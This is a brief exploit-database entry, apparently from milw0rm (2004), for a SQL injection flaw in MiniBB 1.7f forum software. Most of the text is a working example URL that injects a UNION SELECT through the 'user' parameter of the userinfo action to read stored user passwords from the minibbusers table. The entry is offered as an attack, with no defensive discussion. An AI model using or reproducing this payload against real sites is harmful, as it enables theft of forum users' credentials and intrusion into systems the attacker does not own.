MiniBB 1.7f - user SQL Injection

MiniBB 1.7f - user SQL Injection Example: http://target/minibb/index.php?action=userinfo&user=1%20union%20select%201,2,userpassword%20from%20minibbusers/ milw0rm.com 2004-11-16...